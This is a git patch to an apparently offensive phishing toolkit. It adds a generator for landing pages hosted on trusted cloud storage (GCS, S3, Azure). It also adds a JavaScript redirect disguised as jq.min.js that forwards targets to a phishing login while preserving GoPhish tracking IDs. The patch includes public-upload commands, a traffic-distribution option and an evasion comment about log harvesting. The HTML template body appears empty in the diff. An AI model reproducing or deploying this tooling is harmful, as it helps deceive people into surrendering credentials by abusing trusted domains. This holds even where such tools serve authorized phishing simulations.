From f7b275c9f7e5088f30fb055ee2dc834a738af459 Mon Sep 17 00:00:00 2001 From: n0mad1k Date: Thu, 25 Jun 2026 10:19:10 -0400 Subject: [PATCH] Add trusted-cloud lander generator with TDS and RId-preserving JS redirect --- modules/phishing/lander_gen.py | 103 ++++++++++++++++++ .../phishing/templates/cloud-lander.html.j2 | 31 ++++++ modules/phishing/templates/js-payload.js.j2 | 11 ++ 3 files changed, 145 insertions(+) create mode 100644 modules/phishing/lander_gen.py create mode 100644 modules/phishing/templates/cloud-lander.html.j2 create mode 100644 modules/phishing/templates/js-payload.js.j2 diff --git a/modules/phishing/lander_gen.py b/modules/phishing/lander_gen.py new file mode 100644 index 0000000..017d79b --- /dev/null +++ b/modules/phishing/lander_gen.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python3 +import re +from pathlib import Path +from urllib.parse import urlparse +from jinja2 import Environment, FileSystemLoader + +from utils.common import COLORS + +_CAMPAIGN_ID_RE = re.compile(r'^[a-zA-Z0-9_-]+$') + + +def _validate_campaign_id(campaign_id: str) -> str: + if not _CAMPAIGN_ID_RE.match(campaign_id): + raise ValueError(f"campaign_id contains invalid characters: {campaign_id!r}") + return campaign_id + + +def _validate_https_url(url: str, label: str) -> str: + parsed = urlparse(url) + if parsed.scheme != 'https' or not parsed.netloc: + raise ValueError(f"{label} must be an https:// URL, got: {url!r}") + return url + + +def post_deploy_generate_lander(config: dict) -> None: + if not config.get('use_lander'): + return + + campaign_id = _validate_campaign_id(config['lander_campaign_id']) + provider = config['lander_provider'] + mode = config['lander_mode'] + bucket = config['lander_bucket'] + redirect_url = _validate_https_url(config['lander_redirect_url'], 'redirect_url') + phishing_hostname = config.get('phishing_hostname', 'phishing.local') + js_payload_url = _validate_https_url( + f"https://{phishing_hostname}/static/jq.min.js", 'js_payload_url' + ) + + template_dir = Path(__file__).parent / 'templates' + env = Environment(loader=FileSystemLoader(str(template_dir))) + + context = { + 'tds_enabled': mode == 'tds', + 'tds_domains': config.get('lander_tds_domains', []), + 'js_payload_url': js_payload_url, + 'redirect_url': redirect_url, + } + + html_template = env.get_template('cloud-lander.html.j2') + js_template = env.get_template('js-payload.js.j2') + + html_content = html_template.render(context) + js_content = js_template.render(context) + + out_dir = Path('.') + html_file = out_dir / f'lander-{campaign_id}.html' + js_file = out_dir / f'js-payload-{campaign_id}.js' + + html_file.write_text(html_content) + js_file.write_text(js_content) + + print(f"\n{COLORS['GREEN']}[+] Lander files generated{COLORS['RESET']}") + print(f" {COLORS['CYAN']}{html_file}{COLORS['RESET']}") + print(f" {COLORS['CYAN']}{js_file}{COLORS['RESET']}") + + if provider == 'gcs': + public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}" + upload_cmd = f"gsutil cp {html_file} gs://{bucket}/index.html && gsutil acl ch -u AllUsers:R gs://{bucket}/index.html" + elif provider == 's3': + public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}" + upload_cmd = f"aws s3 cp {html_file} s3://{bucket}/index.html --acl public-read" + elif provider == 'azure': + public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}" + upload_cmd = f"az storage blob upload -f {html_file} -c '$web' -n index.html --account-name {bucket}" + else: + public_url = f"" + upload_cmd = "" + + print(f"\n{COLORS['YELLOW']}[!] Upload instructions for {COLORS['CYAN']}{provider.upper()}{COLORS['YELLOW']}:{COLORS['RESET']}") + print(f" {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}") + print(f"\n{COLORS['YELLOW']}[!] Public trusted-domain URL:{COLORS['RESET']}") + print(f" {COLORS['CYAN']}{public_url}{COLORS['RESET']}") + + print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}") + webserver_scp = f"scp {js_file} user@webserver:/var/www/phishing/static/jq.min.js" + print(f" {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}") + # ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat + + print(f"\n{COLORS['RED']}[!!] CRITICAL: Upload both files BEFORE starting your GoPhish campaign{COLORS['RESET']}\n") + + +if __name__ == '__main__': + test_config = { + 'use_lander': False, + 'lander_campaign_id': 'test_001', + 'lander_provider': 'gcs', + 'lander_mode': 'simple', + 'lander_bucket': 'test-bucket', + 'lander_redirect_url': 'https://phishing.local/login', + 'phishing_hostname': 'phishing.local', + } + post_deploy_generate_lander(test_config) + print("Self-check passed: disabled lander returned None without errors") diff --git a/modules/phishing/templates/cloud-lander.html.j2 b/modules/phishing/templates/cloud-lander.html.j2 new file mode 100644 index 0000000..7a11802 --- /dev/null +++ b/modules/phishing/templates/cloud-lander.html.j2 @@ -0,0 +1,31 @@ + + + + + + Loading... + + + + diff --git a/modules/phishing/templates/js-payload.js.j2 b/modules/phishing/templates/js-payload.js.j2 new file mode 100644 index 0000000..32bcf37 --- /dev/null +++ b/modules/phishing/templates/js-payload.js.j2 @@ -0,0 +1,11 @@ +(function() { + var u = new URLSearchParams(window.location.search); + var src = u.get('u') || ''; + var dest = {{ redirect_url | tojson }}; + if (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1) { + var params = new URLSearchParams(new URL(decodeURIComponent(src)).search); + var rid = params.get('rid') || params.get('RId'); + if (rid) dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid); + } + window.location.replace(dest); +})();